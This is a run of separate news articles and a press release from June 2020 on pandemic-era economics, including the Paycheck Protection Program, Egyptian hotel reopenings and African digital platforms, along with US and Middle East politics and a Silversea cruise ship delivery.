Finally, Im one of the persons that have admired Richard Baldwins globalization story of new stage, which is trading labour services via tele-migration. The new stage is driven by a reduction in face-to-face costs, enabling tele-migration. It allows to separate labour services geographically from labourers. So that people will sit in one nation while working in offices in another nation and the container ship of that tele-migration  as it used to be for trade in the past for globalization  happens to be digital platforms and there are many of those that are now sprouting. Digital platforms have got to have a much bigger space now. Ill give you an example in South Africa: labour absorbing digital platforms are helping the country to raise its share of globally traded services. These currently employ almost 255,000 people and projections of interventions hope to probably raise that number by 500,000 in the next decade and it becomes a new source of growth. This is in addition to other initiatives that are aimed at unlocking demand for low-skilled labour via digital platforms. I think these are all very important initiatives that ultimately will start taking jobs to where people are rather than having to force migration of people from the rural areas into the cities in order to be able to offer their services. And this is going to be the next major big element that needs attention in the transformation process.

Talking about technology, what should be the role of technology in tackling the health and economic effects of the pandemic? How can African governments and populations make use of accessible, quality and affordable technology innovations especially mobile applications for e-health, e-education provision and chatbots for infection prevention and information?

I think there are a few elements that need to be fixed. First, I think countries have to get digitally ready and this doesnt mean just to have the networks and the infrastructure: it includes enabling all citizens to be able to connect to health service information, be it for public health purposes, be it for treatment. In Somalia, there are solutions now where one doctor can take care of almost 40,000 people through using a mobile phone, and distinct apps are being developed to help doctors also give specialized attention to individuals. You can only do that once you have these sorts of artificial intelligence and mobile phone type initiatives that build platforms for such services. So getting countries digitally ready and inclusively is extremely important. Populations need to have universal access to this kind of technology services, and in order to deal with that, it is important that it is also affordable. So in part it will need revisiting business models. We know there are business models that are being developed now with cross-subsidization across market segments just like with electricity: those who use very few units are charged much less than the cost. Those that use more are charged more and you have cross-subsidization which is happening. So I think we just have to make sure we have inclusion in coverage but make sure that its affordable and that there are solutions that serve the purpose. Otherwise the big difference between access and use will persist, and part of the reason is affordability and products that make sense to users.

About the COVID-19 and Africa series: The Commission on Global Economic Transformation (CGET) chaired by Nobel laureates Joseph Stiglitz and Michael Spence and hosted by the Institute for New Economic Thinking (INET) is carrying out a series of conversations with African thinkers about their perspective on economic transformation and how the COVID situation re-shapes the options and pathways for Africas development.
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Linkedin (Reuters) Cairo  Fri, June 5, 2020 20:07 595 fc6853813033f564188675f8bdc7dd85 2 News Egypt,Hotel,tourism,domestic-tourists,coronavirus,COVID-19 Free

Hotels in Egypt have implemented government safety regulations which include having an on-site clinic with resident doctor, regular temperature checks of guests and a quarantine area, as they try to attract domestic tourists, hotel officials said.

Egypt suspended international flights in March and shut down restaurants, hotels and cafes in order to combat the pandemic, which has cost its tourist sector an estimated $1 billion per month.

Tourism accounts for about 12-15 percent of gross domestic product.

Read also: Egyptian hotels reopened with reduced occupancy are nearly full: Official

Although airports remain closed to all but domestic and repatriation flights, 99 hotels have been allowed to reopen at a quarter of their usual capacity if they met strict health and safety protocols.

Guests must be registered online and workers have to undergo rapid coronavirus tests when entering resorts, while a hotel floor or small building must be assigned as a quarantine area for positive or suspected coronavirus cases.

As of June, hotels certified as meeting regulations have been allowed to run at maximum 50% capacity.

"They have sanitized my bag. I have also done the key-less check in, which is the first time this has happened and the first time I see this," said Hossam Ragaie, a guest at the Conrad luxury hotel in Cairo.

Large events and buffets have been banned, said Karim Helmy, general manager of the Hilton King's Ranch hotel in the Mediterranean city of Alexandria.

Nevine Hamdy, who used to be a regular guest at the hotel before the pandemic, returned with her family to spend a few nights.

"From the very start at the gate, the workers are wearing masks and gloves. There is no close interaction... They are taking the highest precautionary measures," she said.

Egypt has reported 29,767 coronavirus cases as of Thursday including 1,126 deaths.
Up to 45,000 council workers across NSW are set to gain pay rises over the next three years, just as the Berejiklian government attempts to install a pay freeze in the public sector.

After months of negotiations, unions and the peak body for councils struck an in-principle agreement on Friday for a new pay deal which if endorsed will result in staff gaining a pay rise of 1.5 per cent in the first year, and 2 per cent in each of the two following years.

Council workers will gain pay rises for each of the next three years. Credit:Rhett Wyman

The deal comes as the government seeks to save $3 billion by freezing the wages of more than 400,000 public servants for 12 months.

The government was forced to turn to the state's workplace umpire this week after conservative crossbenchers joined Labor in blocking its wage freeze regulation in the NSW upper house.
Congress just passed the Paycheck Protection Flexibility Act of 2020 and improved the Paycheck Protection Program (PPP) for small-business loans. The bill enhances the PPP by increasing the time small businesses can use funds and receive forgiveness from eight weeks to twenty-four weeks and by reducing the payroll cost rule from 75 percent to 60 percent. The President is expected to sign the bill immediately, and the SBA and Treasury will be tasked to update their regulations, guidance and forgiveness application.

8-Week Forgiveness Period Extended to 24 Weeks

Under the original law, small businesses who received a PPP loan had eight weeks to use the funds, and so long as they used the loan proceeds for qualifying purposes, the entire loan could be forgiven. This eight-week timeframe is known as the covered period and is the timeframe in which qualified spending of the funds is eligible for forgiveness.

Under the new law, the eight-week period was extended to 24 weeks or December 31, 2020, whichever is first. Any funds not used for qualifying purposes within the covered period is not eligible for forgiveness and must be paid back by the small business. Many small businesses had their PPP loans funded in April and May were unable to open back up for business because of legal or health reasons, and others just had a fraction of business demand that they had pre-pandemic. They were seeing their eight weeks pass by while being unable to open back up. These small businesses were being hurt the most by the pandemic, and by extending the covered period to 24 weeks, Congress has greatly improved their ability to use their PPP funds to bring back workers to payroll.

Related: SBA Releases PPP Forgiveness Application and Makes Critical Clarifications and Documentation Requirements

Steven Nicokiris, CPA, Managing Director and Shareholder with the New York office of CBIZ MHM, LLC, calls the new law a game changer for small businesses in areas affected most by COVD-19. We have several retail and restaurant clients that received PPP loans in early/mid April, and the eight-week covered period will be ending in mid-June," he explains. "Many of these businesses will not even be able to re-open on a limited basis until late June or July or later. Realistically, many NYC businesses will need months to bring back employees in an intelligent manner as their businesses come back to life.

Story continues

The 75 Percent Payroll Cost Requirement Is Reduced to 60 Percent

The second-most significant change to PPP is a reduction to the payroll cost rule from 75 percent to 60 percent. This rule required forgiveness requests for a PPP loan to be comprised of at least 75 percent payroll costs, while the other 25 percent can be spent and used on other qualifying forgiveness purposes such as mortgage interest, rent and utilities. By reducing the payroll cost requirement to 60 percent, small business owners will be eligible to have more of their PPP funds forgiven. Many small businesses that had higher rent or mortgage payments were finding it difficult to use 75 percent of their PPP funds within the covered period of eight weeks.

Unfortunately, the language in the bill that changed the payroll costs rule to 60 percent specifically stated that this is 60 percent of the loan amount. It reads: An eligible recipient shall use at least 60 percent of the covered loan amount for payroll costs."

This language of covered loan amount is a departure from prior SBA guidance which said that 75 percent of the forgiveness request must be for payroll costs. The language from the new bill implies that a small business is only entitled to forgiveness if they use 60 percent of the loan amount on payroll costs. The prior SBA guidance, on the other hand, did not consider the loan amount and instead only looked at the amount a small business requested to be forgiven. Theres a big difference between the two, as you can always reduce the forgiveness request based on what you use to meet the 75 percent requirement, but once you get the loan you cant reduce the loan amount and are stuck at spending 60 percent of that number to get forgiveness at all.

For example, under the prior rule, if you received a PPP loan amount of $100,000 and used $50,000 on payroll costs, then under the old 75 percent payroll cost rule you would be able to request forgiveness of the $50,000, as you would just reduce your forgiveness request to match what you spent. Under the new law, the language seems to state that forgiveness would only be available if the small business used at least 60 percent  $60,000 in this example  on payroll costs and if the small business only spent $50,000 on payroll costs over their 24-week period, then they will be entirely ineligible for loan forgiveness, as they would not have spent 60 percent of the loan amount on payroll costs.

The change in the payroll cost rule from 75 percent forgiveness request to 60 percent loan amount will trip up some small businesses who received a large loan amount based on 2.5 months of payroll under a vibrant economy in 2019 and are unable to bring back workers or ramp up business quickly enough to spend 60 percent of the loan amount on payroll costs. House and Senate leaders have already been working with Treasury and SBA to see if they can provide favorable guidance on the rule and have also discussed a follow-up bill to fix it.

Bringing Back Workers

The original PPP law reduced the amount eligible for forgiveness if the small business did not bring back the same number of employees that they had pre-pandemic. The new law made changes to the requirements on bringing back workers and gives small businesses until December 31, 2020 to restore their workforce to pre-pandemic levels. The bill also created new exceptions to the new law that excuse a business from brining back workers if they can document that they were unable to re-hire a worker (e.g. the worker rejected an offer to return) or a similarly qualified worker. They can also be excused from bringing back their workforce to pre-pandemic levels if they can document a health or safety requirement related to COVID-19 that restricted their business.

Related: Which Public Companies Have Returned Their SBA PPP Loans? (Updated)

Plan Moving Forward

Small businesses who received PPP funds and who were already planning to submit a forgiveness application with their bank will need to wait, as the SBA and Treasury will be updating guidance and the PPP forgiveness application. The good news for many small businesses is that the additional 16 weeks will provide more payroll cycles and will result in more PPP funds being forgiven. The changes to PPP in this new bill are significant and will allow more small businesses to benefit from this popular small-business relief effort.
Palestinian efforts against Israel's plans to annex Palestinian territory are being exercised on three levels. Locally, Palestinians have severed all relations, including security coordination, with Israel and the United States. Regionally, Jordan has been spearheading the Arab response to the Israeli plan, including efforts by the only two Arab countries that have a peace plan with Israel: Jordan and Egypt.

On the international level, Palestinian energy has been largely focused on three members of the Middle East Quartet  the European Union, the United Nations and Russia. The focus is on these three instead of the Quartet as a whole, according to Palestinian Ambassador in Moscow Abdel Hafiz Nofel, because the remaning member of the Quartet  the Americans  have repeatedly derailed attempts by the others within the framework of the Quartet to provide a unified international position.

The May 24 meeting of the Quartet failed to reach an agreement because of the insistence of the American representative that the only basis of any future talks must be the American vision. Avi Berkowitz, a special adviser to President Donald Trump, insinuated to the Jerusalem Post that the Trump vision is the only game in town.

The idea of an international conference held in Moscow was first suggested during the peace talks in Annapolis in 2007, but the idea hit a wall since. However, Palestinians' stubborn refusal to deal with the American plan, President Mahmoud Abbas refusal to engage in any negotiating process sponsored only by the Americans and Israeli Prime Minister Benjamin Netanyahus refusal to meet have all derailed efforts to have a Moscow peace conference.

Palestinian Foreign Minister Riyad Malki has suggested the possibility of Palestinian-Israeli talks via Moscow. In a press conference with foreign journalists on June 2, Malki said that the Palestinian leadership would not mind visiting Moscow.

We trust President Vladimir Putin and are sure that such a meeting will bring fruits and succeed in getting us back to the talks as well as stopping the Israeli plans to annex parts of the occupied West Bank, Malki was quoted as saying.

While Netanyahu and Putin are known to have a close relationship  having met dozens of times in recent years  Moscow has opposed annexation. In May, Russian Foreign Minister Sergey Lavrov relayed the Kremlin's strong objection to the plan to his Israeli counterpart.

Ofer Zalzberg, a senior analyst with the International Crisis Group, told Arab News June 3 that Moscow is engaging separately with the White House and Ramallah regarding the possibility of negotiations to curb or postpone annexation.

Zalzberg believes that the key obstacle is the substance of the Palestinian position for any renewed negotiations. It is not enough to agree on the channel of the talks  be it Russian or another one. The substance of the talks is important.

Majdi Khaldi, a diplomatic adviser to Abbas, told Al-Monitor that the US administration has torpedoed every attempt to reestablish peace talks. The Americans want the talks to restart based on their plan while their own partners in the Quartet insist that talks must be based on international law.

Abbas has called for talks to be established within the Quartet or the Quartet-plus (adding important other countries such as Egypt, Germany and China). But Khaldi told Al-Monitor, It is not enough to agree on who will participate in the talks but also what is the basis of the talks. He said that it can't simply be the two-state solution. If the Americans agree to the two-state solution, it must be clear that we are talking about the 1967 borders of an independent Palestinian state.

Jamal Zakout, one of the leaders of the first intifada, told Al-Monitor that the international community might pressure Israel to delay its actions in order to give Abbas some space and to show that he has succeeded in stopping the annexation, but that with pressure from Arab states and Russian intervention, they will want to force the Palestinians to negotiate on American terms.

Palestinian leaders are also facing internal pressure not to hold any meetings with Israelis. Former Palestinian intelligence chief Tawfiq Tirawi criticized Malkis initiative in a June 2 Facebook post. Tirawi, who is also a member of the powerful Fatah Central Committee, called on Malki to go home and end his failed diplomatic efforts.

At the present time we dont need to beg Israel to attend a meeting in Moscow. We need to energize our base to stand up to the Israeli violations of international law, he added.

Salwa Hdaib, a member of the Fatah Revolutionary Council, also criticized Malki. She told Al-Monitor that the Palestinian foreign minister is buying time to stay in his job longer. This is a nasty idea that encourages normalization with Israel, she said.

Al-Monitor has learned that there are efforts to arrange for Israel's newly elected defense and foreign ministers to meet with some key Arab leaders, including Jordans King Abdullah, to help convince them of the colossal repercussions that any unilateral annexation will have on the chances of peace in the region.

Al-Monitor has learned that the June 1 phone call between Lavrov and UN Secretary-General Antonio Guterres that was reported to be about Libya and Syria also included discussion of a possible meeting of the Quartet at the ministerial level to discuss the repercussions of a possible unilateral Israeli decision to annex large swaths of Palestinian lands.

The presence of Russia and its troops in nearby Syria means that its interest in solving the Palestinian-Israeli conflict is not theoretical. It is still unclear if the Israeli leader who has twice refused to meet in Moscow with Palestinians will agree to any new invitations. If Israel does agree to meet in Moscow or under Russian auspices, it could be seen as a breakthrough that might delay or cancel the illegal unilateral annexation that Israel is supposed to begin on July 1.
WASHINGTON - Former defense secretary Jim Mattis' strong rebuke of President Donald Trump forced Republicans to choose sides between a revered retired Marine Corps general and a leader with a near-stranglehold on the party and the voters critical to their election.

Mattis moved one senior Senate Republican to finally declare she had to speak out against Trump's handling of the racial injustice protests, and more broadly about his overall moral leadership, while signaling she may not support him in November.

"When I saw General Mattis' comments yesterday, I felt like perhaps we're getting to the point where we can be more honest with the concerns that we might hold internally, and have the courage of our own convictions to speak up," Sen. Lisa Murkowski, R-Alaska, chair of the Energy and Natural Resources Committee, said Thursday.

Murkowski, the 10th-longest-serving active GOP senator, told reporters that she agreed with Mattis' broadside that Trump tries to deliberately divide Americans and the nation was "witnessing without mature leadership."

"I thought General Mattis' words were true and honest and necessary and overdue," Murkowski told reporters at the Capitol.

Her comments stood out among Republicans, who for the most part either remained silent in the wake of Mattis's criticism, accused the media of trying to stir controversy or offered supportive words for Trump.

Yet it served as a stunning denunciation from within a party whose leaders on Capitol Hill have either marched in lockstep with Trump or ducked any of his controversial moves, to the point that Sen. Mitt Romney, R-Utah, was the only Republican to vote to convict Trump at his impeachment trial earlier this year.

Romney initially avoided addressing the matter, but after Murkowski spoke out, he joined in criticizing Trump's recent behavior by calling Mattis's statement "stunning and powerful"

"I think the world of him. If I ever had to choose somebody to be in a foxhole with - it would be with a General Mattis," the 2012 Republican presidential nominee told reporters.

Most other Republicans decided to remain in Trump's political foxhole, offering praise for Mattis' more than four decades of military service but sidestepping his feud with Trump that occurred during two tumultuous years as secretary of defense.

These same Republicans had heralded Trump's nomination of Mattis, seeing him as a stabilizing force in the mercurial president's Cabinet. Congress went so far as to change the law so the retired general could serve in the civilian post despite being out of uniform for just over four years. The previous law had required seven years out of uniform for incoming defense secretaries.

The Senate approved his nomination 98-to-1 on the day Trump was inaugurated.

Sen. Lindsey Graham, R-S.C., accused Mattis of "buying into a narrative" from the news media that everything wrong with the country is Trump's fault.

"To General Mattis, I think you're missing something here, my friend. You're missing the fact that the liberal media has taken every event in the last three and a half years and laid it at the president's feet. I'm not saying he's blameless, but I am saying that you're buying into a narrative that I think is quite frankly unfair," Graham told Fox News.

In 2018, when he presented an award to Mattis, Graham said the Pentagon chief was "somewhere between Ronald Reagan and the Pope."

"There are very few people you can quote that the Senate and House cares about. When General Mattis speaks as secretary of defense, people listen," Graham said.

Sen. James Inhofe, R-Okla., told reporters that Mattis has "always been one of my favorite people" but said that his military background left him incapable of handling the internal political battles inside a West Wing overseen by an erratic president.

"He'd never been around that kind of environment and consequently he was kind of encumbered from the very beginning of not really understanding the political enemy," the chair of the Senate Armed Services Committee said.

Inhofe had told Mattis at his confirmation hearing: "I'm so excited that you're willing to do this."

Sen. John Barrasso, R-Wyo., a member of GOP leadership, said he had "a great deal of respect" for Mattis and John Allen, a retired four-star Marine general, but declined to address the contents of their sharp critiques of Trump.

"Everything I'm focused on right now is things that are going to bring everybody together rather than divisiveness, and that's what I'm focused on," Barrasso told reporters.

Published merely hours apart, Mattis wrote in a story published in the Atlantic Wednesday that Trump "is the first president in my lifetime who does not try to unite the American people." Allen published a Foreign Policy op-ed lambasting the president for his threats to use the military on protesters and his controversial church photo op on Monday, writing that his actions "may well signal the beginning of the end of the American experiment."

Trump responded on Twitter on Wednesday night, criticizing Mattis in a pair of tweets that had at least two factual errors.

"Probably the only thing Barack Obama and I have in common is that we both had the honor of firing Jim Mattis, the world's most overrated General. I asked for his letter of resignation, & felt great about. His nickname was 'Chaos', which I didn't like, & changed it to 'Mad Dog'," Trump tweeted. "His primary strength was not military, but rather personal public relations. I gave him a new life, things to do, and battles to win, but he seldom 'brought home the bacon'. I didn't like his 'leadership' style or much else about him, and many others agree. Glad he is gone!"

Another retired Marine general, John Kelly, who served as Trump's chief of staff, stood by Mattis and rejected that assertion that Trump fired him, explaining Mattis resigned at the end of 2018 in a policy dispute over U.S. military presence in Syria.

"The president did not fire him. He did not ask for his resignation," Kelly, a retired Marine Corps general, said in an interview with The Washington Post, calling Mattis an "honorable man."

Senate Majority Leader Mitch McConnell, R-Ky., who was a Mattis ally and declared he was "particularly distressed" by his 2018 resignation, ignored questions from reporters about the former secretary's comments at Thursday's Senate session. Senate Republicans did not discuss Mattis's criticism of Trump at their closed-door policy lunch.

Other Republicans tried to explain the issue as a personality dispute that grew out of Mattis's tenure running the Pentagon.

"I think it's kind of obvious for some time that he and the president are at different wavelengths," Sen. Pat Roberts, R-Kan., said, suggesting that today's political moment makes it hard for Trump to forge unity.

"I don't share that view," Roberts said of Mattis' statement. "I think he's doing the best he can under very difficult circumstances."

But Mattis' assault showed chinks in Trump's armor that had not been seen since the GOP revolt after his remarks in 2017 when he praised white nationalists who caused riots in Charlottesville.

One of the party's prized House recruits disagreed Thursday with Trump's tone and how federal officers cleared the area outside St. John's Episcopal Church Monday so that he could visit.

"I would like to see him lead by addressing the nation and call for everyone to come together," Ashley Hinson, who won the GOP primary in Iowa's 1st District on Tuesday, said. "I don't have all the details of what happened, obviously, but I've seen the pictures and the video of what happened in Washington, D.C. I don't believe people in a peaceful protest should be cleared for a photo op."

Sen. Rob Portman, R-Ohio, said that Trump's "prepared remarks" have included calls for unity and also justice for the Floyd family, promising a fair prosecution of the police charges in the case.

"But his tone and words kind of in between those more formal presentations have not unified people, because it's helped to push people," Portman said.

And Sen. Charles Grassley, R-Iowa, frustrated with the administration's failure to explain why Trump fired the intelligence community's inspector general, blocked two of Trump's nominees, a rare move by a GOP senator.

Murkowski's break with Trump might be the strongest so far.

Romney has had a personal feud with Trump predating his presidency, as did the late John McCain, R-Ariz., and former senators Jeff Flake, R-Ariz., and Bob Corker. R-Tenn.

Instead, Murkowski had been a moderate Republican who occasionally bucked Trump on significant votes, such as confirming Supreme Court Justice Brett Kavanaugh, but rarely took her views public, hardly ever appearing on TV news shows.

On Thursday morning, barely prompted to respond to Mattis, Murkowski expressed relief that she was finally saying what she grappled with for several years.

"I am struggling with it. I have struggled with it for a long time," she said whether she could vote for Trump in November.

"I think there are important conversations that we need to have as an American people amongst ourselves about where we are right now," she added.

- - -

The Washington Post's Josh Dawsey, Dan Lamothe and David Weigel contributed to this report.
MONACO, June 5, 2020 /PRNewswire/ -- Silversea Cruises, the leading ultra-luxury cruise line, has taken delivery of its first-ever destination-specific ship, Silver Origin, from Dutch shipyard De Hoop. An intimate ceremony, held on Wednesday June 3, 2020, marked the first in-person cruise ship delivery since the pandemic prompted a global lockdown.

Silver Origin Delivery Ceremony Silversea's Top Executives Travel to Rotterdam to Take Delivery of Silver Origin Manfredi Lefebvre d'Ovidio Uses Silver Origin's Interactive LED Wall - the Largest of Its Kind in the Galapagos Roberto Martinoli Gives his Signature to Officially Take Delivery of the Ship

Select Silversea top executivesincluding Manfredi Lefebvre d'Ovidio, Chairman; Roberto Martinoli, President and CEO; Damien O'Connor, SVP Hotel Operations & Onboard Revenue; and Barbara Muckermann, Chief Marketing Officerattended the ceremony in Rotterdam. Joined by representatives from De Hoop Shipyard, Silversea's executives took a tour of the completed ship for the first time and were present for the official flag ceremony.

"It was a very proud moment for me to attend Silver Origin's official delivery ceremony in person, and to welcome Silversea's first-ever destination-specific ship to our fleet. I am very grateful to all involved in the build, especially the professionals at De Hoop Shipyard," says Manfredi Lefebvre d'Ovidio. "In September 2013, Silversea became the first cruise line to launch an ultra-luxury ship in the Galapagos Archipelago. We have invested our accrued know-how into the design of Silver Origin. Every element of the ship has been designed with the destination in mind and tailored to enhance the experience for travellers, while fostering a deep sense of respect for this magnificent ecosystem and everything that inhabits it."

"We welcome the beautiful Silver Origin to our fleet as the first ship since the start of our collaboration with Royal Caribbean Cruises Ltd.," says Roberto Martinoli, Silversea's President & CEO. "The ship demonstrates how fruitful our collaboration has been, while providing an indication of the great success to come. With Silversea's destination expertise and the invaluable support of the RCL group, we have pushed the boundaries of ultra-luxury travel in the Galapagos with Silver Origin. I want to extend my gratitude to all those involved, including my colleagues at both Silversea and RCL, but especially to the De Hoop Shipyard who overcame many challenges to complete the ship."

"It has been extremely rewarding to work on this project, and we are proud for having been able to deliver the ship in spite of the external challenges," says Patrick Janssens, CEO of De Hoop Shipyard. "The delivery ceremony marked a momentous moment for both parties, and delivering Silver Origin to Silversea's Executives here in Rotterdam was a great pleasure. We wish the cruise line every success for the future and we look forward to seeing this beautiful ship in the Galapagos Islands where she belongs."

Integrating the latest state-of-the-art technology and designed with a focus on the pillars of sustainability, destination on board, expedition experience, authentic local culture, and comfort and service, the all-suite, all-balcony, 100-guest Silver Origin will welcome travellers year-round in the unique Galapagos Archipelago. The ship will provide guests with the ultimate destination experience, inspired by Silversea's accrued expertise and founded on a deep respect for the fragility of the natural environment, while maintaining the cruise line's trademark quality of service.

Innovative, enriching, elegant, each of Silver Origin's spaces has been designed specifically with the Galapagos in mind by Hirsch Bedner Associates Miami. Silversea's executives visited each to experience first-hand how they will create unique synergies between the destination and the ship.

THE MARINA: AN EXCEPTIONAL ARRIVAL EXPERIENCE

As a key point of entry to the ship/destination, the Marina has been designed with great attention-to-detail to offer guests an unprecedented arrival/disembarkation experience. Connected to the Basecamp, the Zodiac embarkation area features large comfortable couches, as well as showers for guests to rinse their gear, racks to conveniently store wetsuits and other equipment, and an innovative fold-out stern with special boarding facilities that can accommodate two Zodiacs at the same time. As Silver Origin will have the highest Zodiac-to-guest ratio in the Galapagos at 1:12.5, a large garage with hydraulic doors, hatches and cranes has been created between decks 2 and 3 to store six of the ship's eight Zodiacs, while two will be stored on the bow.

BASECAMP: IMMERSIVE DISCOVERY ON BOARD

Basecamp is one of Silver Origin's most innovative spaces, designed especially to bring the destination on board. The heart of the ship, the 551m2 Basecamp will host educational activities in which guests will interact with Silversea's team of expert guidesall permanent residents of the Galapagos and certified by the Galapagos National Parkto learn more about the rare wildlife, remarkable landscapes and captivating history of the Galapagos Islands, before and after excursions.

With bespoke software created exclusively for Silversea by strategic-design studio Sketchin and with input from Silversea's Expedition Team, the centrepiece of Basecamp is a 624x162cm interactive digital wallthe largest interactive screen in the Galapagosand control podium. Through this interactive programme, which will change according to the itinerary, guests will be able to access extraordinary destination-related content, including historical pictures provided by the Royal Geographical Society of London, videos with exclusive aerial and underwater shots, excursion previews and scientific presentations. The Expedition Team will use the LED wall to introduce guests to the wonders of the Galapagos before they embark on Zodiac and kayak adventures to experience them first-hand.

THE EXPLORER LOUNGE: AN ELEGANT SPACE TO UNWIND

Offering an inviting space in which guests can relax of an evening, while enjoying a cocktail and a book from Silver Origin's curated library, the 479m2 Explorer Lounge exudes the same elegance that characterises the other ships in Silversea's ultra-luxury fleet. The space doubles as a state-of-the-art lecture room and will host daily lectures and briefings, as well as live piano performances. Floor-to-ceiling windows bring the destination inside, while a large video wall with state-of-the-art AV technology and wide HD screens in different seating areas will optimise guests' expedition experience. Outside, a beautiful terrace with comfortable sofas and armchairs, including a round central sofa with a fire pit, will offer guests the perfect spot in which to unwind with a drink before and after lectures.

THE RESTAURANT & THE GRILL: AN IMMERSIVE CULINARY PHILOSOPHY

In-line with Silversea's new S.A.L.T. programme, Silver Origin's guests will benefit from a uniquely immersive culinary philosophy, centred upon regionally-grown ingredients, Ecuadorian cuisine, and a farm-to-table approach. Locally-inspired culinary experiencesboth on board and ashorewill strengthen travellers' connections with the unique culture, landscapes and people of the Galapagos, as well as those of Ecuador. The Restaurant on Deck 4 (capacity: 120) and the Grill on Deck 7 (capacity: 100) will each be able to accommodate all guests at once, offering diners the luxury of choice. Silversea's Hot Rocks concept will be tailored with an Ecuadorian twist at the Grill, where an advanced sheltering system will protect diners from the wind and low temperatures for maximum comfort.

SPA & FITNESS CENTRE: STATE-OF-THE-ART RELAXATION

Silver Origin's Fitness Centre features state-of-the-art Technogym equipment and offers guests outstanding views on the destination with floor-to-ceiling windows. The Spa, with a dedicated treatment room for therapies and massages, is the ideal place in which to relax after a day of exploration on the islands. The Beauty Salon will offer a wide array of services, including hairdressing and manicure/pedicure.

OBSERVATION LOUNGE: A COSY HIDEAWAY

Located at the very front of the ship, the 75m2 Observation Lounge is one of the cosiest venues on board, offering an elegant hideaway with incredible views on the destination thanks to 180-degree floor-to-ceiling glass windows. After a long day spent exploring the Galapagos Archipelago, guests will find ultimate relaxation in the Observation Lounge, perhaps reading a book from the carefully selected library or just enjoying a vivid sunset.

GUEST SUITES: AMONG THE MOST SPACIOUS IN THE GALAPAGOS

Recognising that days spent exploring the islands can be intense, Silver Origin's suites are among the most spacious and comfortable in the Galapagos: the Owner's Suite, for example, measures a total of 160m2 (1,722ft2) and provides sweeping views of the destination with a vast veranda. Silver Origin whispers luxury as the only ship in the archipelago to offer butler service for all suites. Guests will enjoy the highest crew-to-guest ratio in the region (1:1.11) for unparalleled levels of personalised comfort. All suites benefit from full room automation, which allows guests to control room conditions with the touch of a button.

Spectacular destination-focused views are among the hallmarks of Silver Origin's suites, whose design and amenities were inspired by the acclaimed suites of Silversea's larger ships. Outfitted in neutral tones and natural materials that complement the Galapagos' environment, and designed by GEM, all suites have floor-to-ceiling windows and a private balcony, while select suites feature the innovate Horizon Balcony, which converts to a floor-to-ceiling window at the touch of a button. Most upper suites incorporate an ocean-view bathtub and shower, some of which are accessible from the balcony.

ADDRESSING SUSTAINABILITY

Built with the environment in mind as one of the most energy-efficient ships in its class, Silver Origin incorporates environmentally low-impact features to comply with future rules and regulations, in addition to the Galapagos National Park Directorate regulations. The latest technological innovations mean a 15% reduction in fuel consumption and fewer exhaust emissions. The ship's dynamic positioning system will be used when positioned over delicate seabed ecosystems to prevent the anchor from causing damage; suites incorporate freshwater purification systems that convert seawater into drinking water, thus drastically reducing the use of plastic on board; and a wastewater treatment system will meet or exceed the strictest regulations in the market. Moreover, all waste will undergo a rigid segregation procedure on board and will be delivered to a local waste management enterprise for it to be recycled or shipped out of the islands.

Silversea Cruises has launched the Silversea Fund for the Galapagosa dedicated fund that will support educational projects to safeguard the wellbeing of the Galapagos Islands for future generations. By supporting a diverse selection of projects each year, the Silversea Fund will strengthen the balance between humans and nature in the Galapagos, as part of a long-term conservation strategy. The fund's donors will enjoy savings on Silversea's voyages, as the cruise line will match guests' contributions in the form of a Future Cruise Credit to underpin its commitment to the cause.

Watch a video of the delivery of Silver Origin:

https://youtu.be/5aqin2YHSrM

Silver Origin is scheduled to welcome guests from August 2020. Discover more about Silver Origin:

https://www.silversea.com/lp-silver-origin.html

View Silver Origin's media kit, including key information, quirky facts, images, and videos:

https://www.dropbox.com/sh/1c5nkcwudk27ofh/AAAc8oI08RXOFvnJxddK4Duya?dl=0

Find out more information about Silversea's new winter 2021/2022 itineraries:

https://www.silversea.com/lp-new-itineraries-2021-2022.html

Read an article on Silver Origin's delivery on Silversea's blog:

https://discover.silversea.com/on-board/silversea-welcomes-silver-origin-to-the-fleet/

About Silversea

Silversea Cruises, in which Manfredi Lefebvre d'Ovidio serves as Chairman, is recognised as an innovator in the ultra-luxury cruise industry, offering guests large-ship amenities aboard its intimate, all-suite vessels: Silver Wind, Silver Shadow, Silver Whisper, Silver Spirit and Silver Muse  all designed to offer an atmosphere of conviviality and casual elegance. With the inclusion of the expedition ships Silver Origin, Silver Explorer, and Silver Cloud, Silversea's itineraries encompass all seven continents and feature worldwide luxury cruises to the Mediterranean, Caribbean, both Polar Regions and hundreds of fascinating destinations in between. Silversea is also looking forward to the launch of four new ultra-luxury ships: Silver Moon, Silver Dawn, and two Evolution-class ships. Browse Silversea's blog Discover and subscribe to receive the latest content directly into your inbox.

SOURCE Silversea Cruises

Related Links

https://www.silversea.com/


Amazon India said sellers will now be able to register on Amazon.in marketplace and manage their online business in Hindi.

The move is aimed at breaking the language barrier for millions of Indian entrepreneurs, micro, small and medium enterprises (MSMEs), local shops and retailers and help them benefit from e-commerce, a statement said.

Sellers will be able to register as an Amazon seller for the first time to managing orders, inventory management and accessing performance metrics in Hindi and the experience will be available on the seller website as well as on the mobile app, it added.

Amazon also provides Seller Support Services and Seller University videos and tutorials in Hindi.

"Hundreds of Amazon sellers from tier 1, 2 and 3 cities across Uttar Pradesh, Bihar, Maharashtra, Rajasthan, Punjab, Chhattisgarh, Jharkhand, Telangana and Himachal Pradesh have switched to the Hindi experience to manage their accounts during the six-month testing phase," the statement said.

Gopal Pillai, vice-president (seller services) at Amazon India, said the company has always operated with a focus on enabling every motivated seller anywhere in the country to reach customers across India and the world.

"As we look at enabling more and more of Indian MSMEs to embrace e-commerce to grow, we continue to double down our efforts on vernacular, voice and video-powered initiatives. The launch of the vernacular registration and account management experience for sellers starting with Hindi is a step in that direction," he said.

This becomes all the more significant as businesses emerge from the impact of the COVID-19 pandemic and explore new opportunities for growth, Pillai said.
GUILFORD, Maine  The governor wanted him to stay away. The states congressional delegation skipped the event.

But President Donald Trump nevertheless traveled to Maine on Friday as planned for the latest stop on his tour of companies producing medical equipment needed to battle the coronavirus pandemic. He also used the trip to roll back fishing regulations in an Atlantic Ocean national marine monument that was created by President Barack Obama in 2016.

Trump traveled to the tiny town of Guilford in north central Maine, where he toured the Puritan Medical Products factory that makes medical swabs used in coronavirus testing.

The company, which the White House said received nearly $80 million from the federal government to double its production capacity, is one of only two companies that make the kind of swabs needed in coronavirus testing.

Trump spoke in what appeared to be a warehouse. Cardboard boxes were stacked throughout the room and containers of cotton swabs were displayed on the stage.

"We're doing a great job with the testing and you're doing a fantastic job in getting out the swabs," Trump said. "On behalf of the entire nation, I want to thank you."

